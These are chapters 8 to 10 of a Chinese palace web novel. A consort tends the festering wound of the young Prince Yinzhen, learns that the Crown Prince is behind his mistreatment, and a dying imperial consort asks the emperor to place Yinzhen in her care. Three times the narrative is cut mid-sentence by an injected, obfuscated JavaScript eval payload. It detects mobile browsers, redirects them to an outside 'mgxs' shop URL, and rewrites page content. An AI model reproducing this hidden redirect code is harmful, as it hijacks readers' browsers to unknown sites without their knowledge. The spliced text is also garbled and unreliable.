“皇贵妃便派人去永和宫接四阿哥,没成想却见着四阿哥手腕上的伤厉害了许多,像是没有上药似的,皇贵妃气急便强撑着去了永和宫,找德妃要个说法。” “如今正在永和宫闹着呢。” 8. 第八章 云秀没想到这么一会的功夫,版本竟然就迭代了。 皇贵妃主动开口要回胤禛不说,康熙竟然还答应了,而且德妃苛待胤禛还倒霉地被皇贵妃撞上了。 想想就知道现在永和宫一定是鸡飞狗跳。 “德妃……啧。” 太皇太后紧皱着眉,沉吟了片刻后看向一旁的云秀。 “你去一趟看看吧,皇贵妃毕竟病着,别再闹出什么好歹来。” 云秀点头应下,因着永和宫的事耽误了这么一会,胤禩和胤祺恰好这时被慈宁宫的宫人从尚书房接回来了。 兄弟两个今天凑巧穿的都是绛红色如意云纹绣梵莲的衣裳,戴着出着白色风毛的小帽,瞧着精神地不得了,像两头小牛犊似的,这布料是苏绣,这个花样去年江南织造只供了一匹进京,康熙给了太皇太后,太皇太后便让人裁了两身衣裳给这两个金孙穿。 两人一进屋就规矩地请了安随后就一人一个跑去两位老祖宗身边撒娇了。 云秀本想着把胤禩暂时留在慈宁宫,毕竟永和宫现在应该是乱成一团了,带他过去不方便,没成想胤禩耳朵尖听了个大概,非要闹着一起去。 “罢了,你就带上他吧,否则还不知道他又要折腾出什么事来。”太皇太后宠溺地摇了摇头。 胤禩也抱着云秀的胳膊撒娇:“额娘,带上我嘛,我保证听话。” 云秀无奈,只能带上胤禩一起往永和宫去了,路上还碰上了一样急匆匆赶过去的钮祜禄贵妃。 两人相视一眼,无言苦笑。 不用想都知道今天肯定又是一团乱。 两人一进永和宫,便看到承乾宫的大宫女银丹带着十几个宫人浩浩荡荡地守在永和宫的院子里,像是要把永和宫给围困起来似的,见云秀和钮祜禄贵妃来了才福身行礼。 “奴婢给两位贵妃娘娘请安。” “这是做什么呢,瞧着还怪吓人的。”钮祜禄贵妃秀眉一挑,环视了一圈说:“皇贵妃这是要围了永和宫?” 银丹垂首,不卑不亢地回:“奴婢只是奉命行事,皇贵妃娘娘正在殿中,两位娘娘请吧。” 钮祜禄贵妃家世出众又是先皇后一母同胞的亲妹妹,一入宫就封了妃位,加之其生地容貌昳丽所以一直圣宠优渥,一向是不怎么把佟佳皇贵妃放在眼里的,如今又刚刚得了皇子,地位更加稳固。 而皇贵妃病了大半年,眼看就是强弩之末,钮祜禄贵妃掌着宫权,是六宫实质上的当家人,听到银丹的话自然觉得冒犯和不敬,不悦地蹙起眉还想说些什么,云秀在一旁牵挂着胤禛,便抬手扯了扯她的胳膊,小声说:“妹妹别同一个奴才计较了,先进去看看再说吧。” 钮祜禄贵妃这才止住了差点脱口而出的责骂,冷冷地瞥了银丹一眼,随后哼了一声往正殿里去了。 胤禩紧紧地牵着云秀的手,心里也有些忐忑,一进永和宫的正殿抬眼便看见皇贵妃正坐在上头不住地咳嗽,而四哥则是低着头站在皇贵妃身边,德妃则是站在下首,背对着他们,看不清是什么模样。 胤禩悄悄打量他四哥的脸色,发觉好像比昨天还要更惨白了,手腕上的伤口透过纱绢还露出几点猩红的血色。 云秀和钮祜禄贵妃给皇贵妃行了礼,皇贵妃头也没抬地摆了摆手,说话都有些气喘。 “起来吧,本宫估摸着你们两个也该过来了,青黛,给贵妃赐座。” 钮祜禄贵妃看了一圈,率先开口道:“皇贵妃娘娘病着,怎么到永和宫来了,还带了这么多奴才,臣妾看着都胆战心惊的,别把德妃妹妹给吓着了。” 钮祜禄贵妃纯粹是在装傻,皇贵妃为何来永和宫,又为什么闹成这样,说她一点都不知道,云秀是半个字都不信,只不过是不论是皇贵妃还是德妃都和钮祜禄贵妃是对头,一个位份上压她一头,一个恩宠上和她较劲,所以这两人打了起来,钮祜禄贵妃今天就是纯粹来看戏的了,本就没有什么调停的意思。 所以言语间都是轻佻的阴阳怪气。 云秀没说话,只打量着德妃和皇贵妃,皇贵妃的病情看着太医还真没有夸大,几个月不见人就瘦成了像个纸片似的,脸色惨白,两颊都凹陷了下去,许是来地匆忙,唇上都没有涂唇脂,显得有些灰白,衣裳都仿佛空荡荡地罩在她羸弱的身躯上一样,云秀拧眉瞧了一会,在心中叹了口气。 油尽灯枯之像。 这时候还能强撑着下床到这来,真是全凭着一口气了。 皇贵妃听了钮祜禄贵妃的话也不生气,或者说她如今的精力实在是不支撑她再和钮祜禄贵妃较劲,她吐了口浊气,说:“本宫向皇上请旨接胤禛回承乾宫,德妃却多番阻拦,无奈之下本宫就只能亲自过来一趟了。” 德妃站在下首,瞧着倒还算是镇静,她闻言微微一笑说:“皇贵妃娘娘这话,臣妾就不知是从何说起了,臣妾是想着皇贵妃娘娘正在病中,胤禛调皮手上也有伤,所以才想着多留他几日,也算是为皇贵妃娘娘分忧。” “皇贵妃娘娘若是实在思念胤禛不允也就是了,何必如此兴师动众。” 皇贵妃冷笑道:“巧舌如簧,你就是凭着这一张巧嘴哄住了皇上吗?” “只可惜本宫不是皇上,胤禛手上的伤也是实打实的,你这个亲生额娘纵容六阿哥对兄长动手,事后还不为胤禛医治,真是好歹毒的心肠!” 说罢,皇贵妃看向云秀,语气放缓了些:“本宫听闻昨日在慈宁宫慧贵妃曾看过胤禛的伤,今儿就再劳烦妹妹一次,再帮胤禛瞧瞧吧。” 皇贵妃开了口,云秀自然不好拒绝,皇贵妃的大宫女青黛便陪着胤禛一同过来了。 “儿臣给慧娘娘请安。” 到了这个时候,胤禛还是一板一眼地给她行礼问安。 云秀赶忙扶起他,让他坐下,小心翼翼地解开了他手腕上包扎的纱绢,随后眉头紧皱,一旁探着脑袋过来看的胤禩都被吓地叫出了声。 “四哥,你这是怎么了!” 钮祜禄贵妃看了一眼也惊住了,只见四阿哥的右手手腕处有一个碗大的伤疤,四周的皮肉掀起,堪称血肉模糊,还有些泛黄的血水渗出来,瞧着很是吓人。 而胤禛却始终神色平静,仿佛这些伤不是在他的身上一般。 云秀赶忙让人去取药箱来,心里是又着急又心疼,这伤比起昨日还更严重了,不仅是没上药,恐怕还用错了药或是又有人让他伤上加伤了。 她抬头看向德妃,再一次被她对胤禛的冷心冷情震撼到了。 谁能想到胤禛在永和宫里竟然能搞成这副样子,德妃这不只是不闻不问,恐怕还真的有苛待的嫌疑了。 胤禩毕竟才刚刚三岁,见到这种伤口也被吓懵了,在旁边急地转圈,他眼巴巴地盯着胤禩,小声问:“四哥,是不是很疼?” 胤禛和这个八弟其实一直以来都谈不上熟悉,不过昨日他和五弟为他打抱不平,胤禛是记在心里的,所以对胤禩也多了几分亲近,语气也没有往常那么冷硬了。 “没事,不疼的。” “骗人,肯定很疼。”胤禩急地都快哭出来了,拉着云秀的胳膊说:“额娘,你快救救四哥!” 豆蔻把胤禩拉开,宽慰道:“八阿哥别急,娘娘这不是在给四阿哥上药了吗?” 云秀仔细地给胤禛清理了伤口,重新上了药又包扎好,对皇贵妃说道:“娘娘,四阿哥的伤口如今有些化脓了,得好好养着,一日三次地清理上药,臣妾也只是简单地帮四阿哥包扎了一番,过会儿娘娘还是得宣太医,好好给四阿哥诊治。” 如今在冬日伤口都化脓了,若是再拖下去,小病说不准还真能拖成大病,到时若是感染再生了炎症,以如今的医疗水平就真的有些麻烦了。 皇贵妃颔首:“多谢慧妹妹了,改日本宫必要包一份厚礼送去长春宫。” 胤禩像个小尾巴似的跟着他四哥,他瞧了一眼皇贵妃和德妃,悄悄地问胤禛:“四哥,是不是德妃娘娘和六哥欺负你了,你和我说,我去告诉乌库妈妈和皇祖母!” 胤禛垂眸看着云秀刚刚给他包扎的伤口,片刻后才回过神来,他慢慢地眨了眨眼,然后摇头。 “不要再为了我的事出头了,此事以后还是不要再提了。” 胤禩本来正一腔热血准备给胤禛做主,结果又被他四哥浇了一盆冷水。 果然还是那个硬地像块石头一样的四哥,连句好话都不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092610|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,状也不会告,怪不得六哥总是欺负他。 胤禩扁了扁嘴,算了,四哥都伤成这样了,他还是大人有大量,不计较了。 两个孩子在这说小话,几个大人也没闲着,皇贵妃对德妃发难,可德妃却始终处变不惊,颇有一种你能拿我如何的意味。 云秀都觉得有些奇怪,毕竟胤禛的伤是铁证,起码能证明德妃确实对胤禛不上心,怎么德妃还一副稳坐钓鱼台的模样。 钮祜禄贵妃听了半天也觉得是分不出什么子丑寅卯来,佟佳氏虽然是皇贵妃,可要处置妃位她也没这个权利,得由康熙下旨才行,所以这事今天在这就论不明白,是而最后还是钮祜禄贵妃出面叫停了这场闹剧,让皇贵妃先带着胤禛回承乾宫诊治再说。 皇贵妃心里也明白一时三刻拿德妃没什么办法,也只能撂下狠话说会把此事告知康熙,然后便带着人离开了。 云秀和钮祜禄贵妃也没再多留,出了永和宫之后钮祜禄贵妃挑眉看向云秀:“慧姐姐真是菩萨心肠,皇贵妃和德妃这些污七八糟的事皇上听了都头疼,姐姐可要小心皇贵妃到时赖上你了。” 云秀正想着胤禛的伤是如何弄成了这幅样子,听到钮祜禄贵妃的话一时还没反应过来,蹙眉问:“妹妹这是什么意思?” 钮祜禄贵妃笑着说:“我不过是随口一说,姐姐随便听听就是了,不必当真。” 说罢就和云秀道别回宫去了。 云秀琢磨了一会儿觉得今天这事确实哪哪都透着奇怪,所以干脆带着胤禩去慈宁宫蹭午饭去了,顺道再问问太皇太后和太后的意思。 没想到太皇太后和太后像是早就预料到了她会来一样,已经布好了午膳等着她和胤禩了。 胤禩一进慈宁宫就飞奔进了太皇太后怀里,然后开始绘声绘色地描述四哥在永和宫过地有多么惨,手上的伤多么吓人,德妃是如何的不闻不问。 “是吗,可是吓着我们胤禩了?”太皇太后听完慈眉善目地拍了拍胤禩的背,轻声问。 胤禩摇头,咬着唇说:“胤禩没事,就是四哥好可怜。” 太后在一旁听胤禩说了半天,转而看向云秀问:“听说你又替胤禛包扎了伤口?” 云秀点头:“老祖宗您没见着,四阿哥的伤严重了不少。” “既如此,皇贵妃在你之前便到了永和宫,怎么也没想着宣太医给胤禛诊治?”太皇太后搂着胤禩,意味深长地说:“皇贵妃这是等着你去呢。” 云秀又想起钮祜禄贵妃语焉不详的话,这才想通了。 皇贵妃这是想拉着她来作证,毕竟她这个贵妃可比太医有分量多了。 云秀对此其实并不排斥,毕竟她确实心疼胤禛小小年纪受此苦楚,得罪德妃也没什么要紧的,不过胤禛伤成那样,皇贵妃竟还能忍得住不宣太医硬等着她来,也让云秀心中很不是滋味。 那胤禛的伤恶化到底是德妃忽视还是皇贵妃有意…… 想到这云秀都不敢再想下去了。 她现在渐渐地有些明白,史书里的雍正皇帝为什么是那样的性子了。 太皇太后觑着云秀的神色,悠悠地问:“想管这桩闲事?” 云秀知道自己是瞒不过两位老祖宗的,干脆便坦诚地认下了:“四阿哥实在可怜,臣妾瞧着于心不忍。” 太皇太后松开了胤禩,让苏麻喇姑带着他去偏殿找五阿哥玩,胤禩机灵,知道后面的话不能让他听所以也乖乖地告退了,不过临走之前也希冀地看了云秀一眼,他自然也是希望能帮一帮四哥的。 毕竟这事谁看了不生气。 太皇太后见胤禩走了,这才开口说:“哀家可提醒你一句,永和宫的事谁也管不了。” 云秀大为震惊,不明白太皇太后这是什么意思,这顶了天也就是皇贵妃和德妃斗法,没到这种程度吧? “还不明白?”太皇太后睨了她一眼,“皇贵妃强撑着身子在永和宫搞出了这么大的阵仗,不止是在等你,还是在等皇帝过去,可皇帝没去,就说明皇帝不想深究这件事。” “皇帝不想查,就谁也查不了。” 太皇太后喝了口茶,抬起眼一字一句地说:“因为这事涉及了太子。” 9. 第九章 这又和太子有什么关系? 云秀听地云里雾里,这才发觉原来自己只看到了冰山一角,如今想来,太皇太后也早就提醒过她,这里面水深得很。 太皇太后让她坐到前头来,没一会儿苏麻喇姑从外头进来了,随后说:“老祖宗,皇贵妃派人去请皇上了,不过皇上还在议事。” “知道了,让她闹去吧。”太皇太后端坐在榻上,淡淡地说:“闹地皇帝心烦了,她也就老实了。” 苏麻喇姑笑了笑,又给云秀添了茶:“贵妃娘娘,这是新进的普洱,太皇太后觉得不错,您尝尝。” 云秀现在是没什么心思喝茶了,急急忙忙地问:“老祖宗,您方才说的和太子有关是怎么回事?” 慈宁宫是铜墙铁壁一块,不会有什么消息透出去,云秀在这说话便没有那么讲究,一向是直来直往的。 “你瞧瞧你,进宫都十多年了还是这么沉不住气。”太皇太后瞧了她一眼,颇有些恨铁不成钢地和太后说:“就这还想着和德妃打擂台,若没有咱们看着,她不被生吞活剥了才怪。” 太后也只是笑:“谁让皇额娘疼这丫头,她自然是天不怕地不怕了。” 云秀上前挽住了太皇太后的胳膊撒娇:“老祖宗,您就告诉我吧,这到底是怎么回事。” 太皇太后的三个女儿都是远嫁蒙古又芳华早逝走在了太皇太后的前头,云秀入宫的时候才堪堪十岁,养在慈宁宫四五年,太皇太后早就把她当女儿一样了,而且云秀虽说心计上差了些可极会看人眼色,知道太皇太后就吃这一套,所以是手到拈来。 然后这一套撒娇卖痴的法子也被胤禩学去了,太皇太后和太后是拿这娘俩一点办法都没有。 “好了好了,都做额娘的人了也不嫌害臊。”太皇太后无奈地瞪她一眼,到底也没有推开她,开始细细地给她讲这桩事的始末。 “胤祚好端端地怎么会在尚书房和胤禛动起手来,这事你细想过没有?”太皇太后拍了拍云秀的手,继续说:“胤祚这孩子虽然被德妃和皇帝惯地娇气跋扈了些可也是个聪明的,却在大庭广众之下当着那么多皇子的面说了那么多不堪入耳的话,你不觉得蹊跷吗?” 云秀蹙着眉,经过太皇太后一提点才发觉原来这事的起因就透着邪门,只不过她并没有注意到,想来太皇太后应该是一早就派人去查了。 云秀思索了片刻,有些诧异地说:“难道是太子在背后推波助澜?” “还不算笨到家。”太皇太后点了点她的额头,意味深长地说:“太子如今大了,眼界也比从前更远了,看到的东西,听到的东西多了,心也就乱了。” 太皇太后说到这便没再说下去了,苏麻喇姑在一旁接过话来,仔细地向云秀说明了当天的情形。 起初是在这事的前几天六阿哥和胤禛就起了一次口角,不过并不要紧,结果胤禩在旁边随口帮胤禛说了一句话,没成想太子和大阿哥就都上心了,大阿哥在尚书房如今以长子自诩,最爱和太子争个高下,太子心高气傲,对几个幼弟是一向瞧不上,大阿哥便反其道而行之拉拢几个弟弟,这次六阿哥和胤禛起了冲突,显然五阿哥和胤禩是站在胤禛这一边的,所以大阿哥也跟着帮着胤禛说话。 而如今在太子眼里,眼中钉是大阿哥,肉中刺就是胤禩,这两个人站在一块可还了得,太子想挫挫他们的锐气,于是就在背后撺掇六阿哥,这才让事情一发不可收拾,最后动起手来,闹成了现在这幅样子。 云秀听完整件事的来龙去脉都不知道该说什么了,原来竟然是城门失火殃及池鱼,胤禛只不过是太子和大阿哥斗法的牺牲品罢了。 而且这里面还有胤禩的缘故。 怪不得康熙偏向六阿哥不想细查,原来也都是为了太子,只能委屈胤禛。 这样想来德妃应该也已经知道前因后果了,否则不会那么镇静地和皇贵妃交锋,因为她知道康熙是一定不会细究这事的,多半是囫囵过去,所以她心里有底气。 “想明白了?” 太皇太后瞧了云秀一眼,嘱咐道:“所以哀家让你别管这桩闲事,皇帝摆明了想息事宁人,所以才允了皇贵妃把胤禛接回去,没想到天不遂人愿,又折腾出这些事来,若是皇贵妃再闹下去兜兜转转还是要查到太子身上,皇帝是绝对不会允许这种情形发生的。” 太后感慨道:“胤禛确实是可怜,但是再可怜也不能越过了太子去,也只能打落牙齿和血吞了,皇额娘说地对,你别插手这事了,由着皇贵妃和德妃闹去吧。” 外头起了些风把还没融化的冰雪吹了起来,漫天洋洋洒洒地像是又下了一场大雪似的,太皇太后凝眉透过窗看出去,片刻后又握着云秀的手语重心长地说:“胤禛的事和你无关,你现在该操心的应该是胤禩才对。” “胤禩的出身摆在这里,太子看不惯这个弟弟是理所当然,而且胤禩又聪明,哀家听说他在尚书房是如鱼得水,和几个阿哥都相处地极好,书也读地通透,师傅们常夸他。” 云秀点了点头,轻声说:“臣妾明白老祖宗的意思了,会叮嘱胤禩的。” 太皇太后的意思很明显是要让胤禩学会藏拙,不要像大阿哥一样太锋芒毕露,反而招惹祸端。 康熙对太子的疼爱简直是宫里所有的皇子公主绑一块都比不上的,地位空前稳固,除了大阿哥上蹿下跳之外,如今还真没有哪个皇子或是妃嫔对太子的位置有想法。 “好在皇帝是个有心胸的,雄才大略,否则你和钮祜禄贵妃是不会有皇子的。”太皇太后笑着说:“所以你也不用太担心,皇帝心里都有数,胤禩资质好,也不会埋没了。” 云秀点头,康熙的自信倒是没什么可说的,以如今康熙对朝堂的掌控力,无论她和钮祜禄贵妃生多少个,都动摇不了太子的地位。 只可惜太子不是个合格的储君,日后几个皇子都长大了,情形就不是康熙所期盼的父慈子孝,兄友弟恭,众人一起辅佐太子的局面了。 太皇太后说了这一会儿话就有些困了,想要午睡一会,云秀解了惑便去偏殿带上胤禩准备回宫去了,偏殿里胤禩正和五阿哥在一起下棋,胤禩虽然年纪小可棋已经下地有模有样了,尤其是对手还是五阿哥,云秀一进去就看到胤禩笑眯眯地坐着,对面是抓耳挠腮的五阿哥。 “好了胤禩,咱们回宫去了。”云秀上前笑着说。 五阿哥像见到了救星一样如释重负让云秀赶紧带着胤禩离开,胤禩笑着让人把棋盘封了,说下次来再继续下,五阿哥马上又垮起了脸。 胤禩逗五阿哥逗地开心了,笑眯眯地牵着云秀的手回宫。 “你啊,别总是欺负你五哥脾气好。”云秀无奈地低头看着蹦蹦跳跳的胤禩,“回头把你五哥惹生气了,额娘看你怎么办。” “五哥才不会生我的气。”胤禩笑着说,随后他的笑容又敛去了些,问:“额娘,四哥的事怎么样了?” 这里面的事牵扯到太子,大阿哥,甚至还和胤禩有关,胤禩现在还太小了,云秀不想和他说这些,于是只问他:“那你想怎么办才高兴?” “当然是给四哥出气了。”胤禩气鼓鼓地说:“德妃娘娘和六哥欺负四哥,皇阿玛该罚他们才是。” 孩子的想法还是很单纯的,在胤禩的心里就是要有过就罚,公平公正才是。 云秀俯下身摸了摸他的头,温声说:“你四哥现在已经回了承乾宫了,皇贵妃会照顾好他的,额娘不好插手皇贵妃的事,不过皇贵妃对你四哥一向是极好的,所以胤禛不会有事了。” 胤禩眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092611|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眨眼,然后才慢慢地点了点头。 额娘的位分比皇贵妃低,确实不太方便再出面了。 不过额娘说地对,皇贵妃对四哥还是很不错的,应该不会有什么事了。 而且四哥自己都冷冰冰地不让他管,那就这么着吧。 云秀带着胤禩回了长春宫,直到晚膳时分豆蔻才回禀说康熙去了承乾宫。 皇贵妃盼了一天总算是把康熙给盼来了。 康熙一踏进承乾宫就闻到了一股浓重的药味,他的脚步顿住,环视了一周因着严冬更显得枯败的庭院,半晌后才抬脚进了皇贵妃的寝殿。 皇贵妃去了一趟永和宫已经是靠人参吊着气强撑着的了,把胤禛带回来之后就又病倒在床上起不来了,康熙掀起帘子进了内室,便看到皇贵妃正靠在床头不住咳嗽,四周侍立着几个宫女都是一脸焦急和忧愁之色,银丹和青黛服侍着皇贵妃用药,二人都有些忍不住落下泪来。 承乾宫是宫里最富丽堂皇的一处宫殿,皇贵妃没有病倒之前是宫里位份最高的妃子,还是康熙的表妹,康熙又很是宠爱她,所以什么贵重的东西都往承乾宫里送,奇珍异宝古玩字画都数不胜数,连枕头都是金丝苏绣镶着翠玉的枕芯,如今的承乾宫摆设如常,可看起来却有一种萧条之感了。 皇贵妃只觉得嗓子生疼喝不进去药,她靠在枕上喘着粗气,纤手捂胸,抬头看到了穿着一身藏蓝色常服的康熙正静静地站在红烛下看着她。 她一时间都有些恍惚,不知道真的是康熙来了还是她的幻觉,直到身旁的婢女纷纷跪下请安她才回过神来。 皇贵妃硬撑着直起身子,康熙拧着眉上前坐在床边摁住了她,让她躺下。 “皇上,您来了。” 皇贵妃虚弱地笑了笑,她近乎痴迷地看着眼前的这个男人,这是大清的皇帝,她的夫君,她女儿的阿玛,也是她心悦了一生的人。 时间还真是偏心,明明她比皇上还要小上两岁,可如今她的容貌憔悴衰败,而皇上比起几年前她刚进宫的时候反而更英武不凡了,剑眉星眸,龙章凤姿。 康熙拧着眉看着面无血色瘦地只剩一把骨头的皇贵妃,沉声说:“怎么瘦了这么多,可是太医不尽心?” “皇上别怪罪太医,是臣妾自己不争气。”皇贵妃费力地抬手搭上了康熙的右臂,康熙揽过她,让她靠在自己的怀里,皇贵妃怔怔地看着康熙胸前精致的金龙刺绣,气若游丝,“自从小八走了,臣妾夜不能寐,食不下咽。” 康熙轻拍了拍她纤弱的背,叹息道:“小八没留住,朕和你一样伤心,你养好身子,咱们还会有孩子的。” “臣妾知道自己时日无多,皇上不必哄臣妾。”皇贵妃强撑着抬起头,仰视着康熙,近乎哀求地说:“臣妾无福,没能给皇上留下一儿半女,只有胤禛是臣妾自小养大的,如今臣妾要走了,想为胤禛向皇上求一个恩典。” 康熙进了承乾宫就知道皇贵妃一定会提胤禛的事,如今看着皇贵妃这油尽灯枯的模样,他实在不忍心不让她说,于是只能点了点头。 “你说。” 皇贵妃眼睫轻颤,紧紧抓着康熙的手臂。 “臣妾如今没有精力再抚养胤禛了,可德妃偏心六阿哥慢待胤禛,臣妾实在舍不得将胤禛交由她抚养,还请皇上能为胤禛再择一位养母。” 康熙的眉头舒展开,他本以为皇贵妃要让他彻查六阿哥和胤禛之事,若是皇贵妃提起此事,康熙是绝对不会允的,可若是给胤禛另换一个养母,从此息事宁人,倒不是不能考虑。 于是康熙的语气也和缓了几分。 “你瞧好了谁来抚养胤禛?” 皇贵妃气息奄奄,语气却格外坚定。 “臣妾想将胤禛交由慧贵妃抚养。” 10. 第十章 康熙听到皇贵妃想把胤禛交给云秀抚养,刚刚舒展开的眉头又微微皱了起来,他不动声色地问:“朕记得你和慧贵妃一向没什么往来,怎么想把胤禛交给她抚养?” 皇贵妃伏在康熙怀里咳了两声,强打着精神说:“臣妾与慧贵妃虽然交情甚浅,但慧贵妃和善温良的名声是整个后宫都知道的,把胤禛交给她,她必然会待胤禛好的。” “而且慧贵妃也是如今宫中资历最深的嫔妃了,皇上应当也很是了解她才是。” 康熙敛眉不言,揽着皇贵妃肩膀的手微微加了两分力道,皇贵妃想把胤禛交给云秀有些出乎了他的意料,云秀有着胤禩,若是再把胤禛交给她抚养,日后胤禛和胤禩长大了若是胤禛成了胤禩的助力,恐怕对胤礽会有些麻烦。 皇贵妃原本给胤禛挑的养母是敏嫔或是成嫔,这两位都是性子好,而且算不上得宠也算不上失宠,若是养了胤禛必定会对他好,四妃和两位贵妃起初她都是没有考虑的,这几位都太扎眼,可是今儿在永和宫见了慧贵妃给胤禛包扎伤口之后她就改了主意。 她确实是利用了慧贵妃,想拉慧贵妃下水扳倒德妃,可是慧贵妃当时对胤禛的心疼和怜惜她看地真真的绝不是作假,她当时便颇为触动,回来后仔细想了想,慧贵妃的八阿哥这次本就是给胤禛出头的,日后兄弟俩养在一块想来不会欺负胤禛,慧贵妃虽然恩宠平平可位分在这里,又有太皇太后和太后护着,没人敢招惹她,胤禛若是真的能养在她膝下,两位老祖宗多多少少也会庇护一二。 最重要的是慧贵妃还能压制住德妃。 唯一的变数就是皇上可能不会准许,这里面的道理皇贵妃自然也明白。 不过最终让皇贵妃下定决心顶着康熙的猜疑也要说出口的原因还是云秀对胤禛是真心的好,这比什么都要紧。 康熙正沉思着,皇贵妃突然猛地咳嗽了起来,在康熙怀里不住地颤抖着,康熙大惊,银丹和青黛也赶忙取了帕子上前,皇贵妃脸色煞白地扭曲着,眉眼间都是痛苦之色,随即哇地吐出了一大口鲜血。 “梁九功,还不赶紧去传太医!”康熙斥道。 饶是梁九功都被皇贵妃这突然的吐血吓了一跳,回过神来赶忙说:“嗻,奴才这就去。” “皇上,不必……不必传太医了。” 皇贵妃紧紧地扯住康熙的衣袖,嘴角还挂着几丝鲜血,康熙皱着眉拿过银丹手中的锦帕轻轻地给皇贵妃拭去,低声说:“胡闹,病了怎么能不传太医,吃了药就会好的。” 皇贵妃怔怔地看着他,眼角沁出了泪水,她只觉眼皮骤然沉重了起来,眼前也模糊了许多,可扯着康熙衣袖的手却怎么都没有松开,皇贵妃喘息着,拼着最后一丝力气又求了康熙一次。 “皇上,您就准了臣妾所求吧,这是臣妾唯一的心愿了,此事一了,臣妾便再没有什么牵挂了。” 康熙看着皇贵妃像溺水时抓住唯一一根救命稻草一样紧紧地扯住他的袖口,全凭着最后一口气看向他,他心中划过一丝不忍,但最后还是被作为帝王的冷情压了下去。 “这件事容朕再想想。”康熙不忍去看皇贵妃希冀的眼神落空随后变地灰败无力,他微微偏过眼神,宽慰她:“把胤禛交给荣妃也不错,荣妃把胤祉和荣宪都养地极好,且她性子宽和,也不会亏待胤禛的。” 皇贵妃紧紧攥着康熙袖口的手倏地滑落了下来,她闭了闭眼,嘴唇颤动着,似乎是一个字也说不出来了。 康熙也不忍再说,轻轻把她放在枕上,随后便起身离开了。 临走之前康熙又顿住了脚步,冲着银丹招了招手,银丹快步走到门前福身行礼。 “皇上。” 康熙负手而立淡淡地嗯了声,随后问:“胤禛如今在哪?” 银丹焦急着皇贵妃重病孱弱,也没有平时的灵光,只顺着康熙的话干巴巴地回说在西偏殿,然后便站在原地一动不动。 “糊涂奴才,还不带路,皇上要去看四阿哥。”梁九功在一旁无奈地提点了一句。 银丹这才回过神来,引着康熙去了西偏殿。 西偏殿中胤禛也正在床上睡着,殿内有两个宫女正在守着,见康熙进来了赶忙行礼,被康熙抬手止住了。 虽说胤礽是康熙心头至宝,但他也不至于把其他的儿子当草芥,胤禛伤了康熙自然也是有些心疼记挂的。 康熙走到近前看着胤禛也有些苍白的小脸叹了口气,胤禛手腕上的伤已经上过药了也重新包扎过,只是透过纱绢还是露出了些点点猩红的血迹,康熙眉头紧锁,伸出手轻轻地碰了碰,随后又摸了摸胤禛的脸颊。 “怎么这么凉?” 康熙拧着眉低声看向一旁的宫女,那宫女已经被吓地不轻,慌张地回说太医说四阿哥有些发热,已经喝了药,想来是退热了。 皇贵妃在衣食起居上是从不会亏待胤禛的,西偏殿里该有的东西也是一样不缺,地龙烧地正旺,床上的被褥枕头也都是上好的锦缎,必然是不会因为这些缘故,那就只能是因着生病了。 “梁九功。” 康熙给胤禛掖了掖被角,突然出声。 “奴才在,皇上您吩咐。”梁九功赶忙上前。 康熙凝视着熟睡中的胤禛,片刻后淡淡地说:“去传旨,德妃于皇子教养上轻视疏忽,德行有失,罚俸半年,让她自己在宫里好好反省一个月。” 梁九功恭敬地应下,心中了然皇上这是给皇贵妃一个交代,也是告知后宫众人这件事就到此为止了。 康熙随后没再说什么,略坐了会就离开了。 出了承乾宫后,梁九功便观察着康熙的脸色,小心地问:“皇上,可是要回养心殿?” 皇贵妃和四阿哥都病着,而且皇贵妃还给皇上抛了这么大一个难题,皇上现在正心烦呢,就算他打小就伺候皇上也得小心翼翼。 康熙神情淡淡,他驻足了一会儿,看着宫檐下飞过一只寒燕,传来咕呱刺耳的叫声,突然开口:“去长春宫。” 梁九功一惊,立即恭敬地低头回道:“是。” 长春宫内,云秀也刚带着胤禩从慈宁宫回来,胤禩在榻上玩云秀给他做的拼图,还是加大难度版的,只能靠微弱的颜色区别来拼,胤禩玩地不亦乐乎,已经拼了好几天了。 云秀一边百无聊赖地分拣着晒好的药材,一边在心里记挂着胤禛的伤。 那伤口现在有些严重了,要是处理不好真的会蓄脓然后并发炎症,云秀有些担心万真的细菌感染了怎么办,现在又没有抗生素。 正思索着她突然想起来去年她在院子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092612|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药圃旁边种了一棵黄檗来着,黄檗的树皮晒干以后入药有抑制细菌感染的作用,只不过那棵黄檗还没怎么长大,她种下之后也给忘了。 这下想起来她便赶忙往院子里去,管它长没长大,先取一些备着再说。 胤禩见云秀突然起身也赶忙从榻上跳下来。 “额娘你要去哪儿?” 豆蔻正给云秀穿着斗篷,云秀扭头笑着说:“去院子里采点药草,你继续玩吧。” 胤禩一听也不玩拼图了,像个小尾巴似的云秀走到哪他跟到哪。 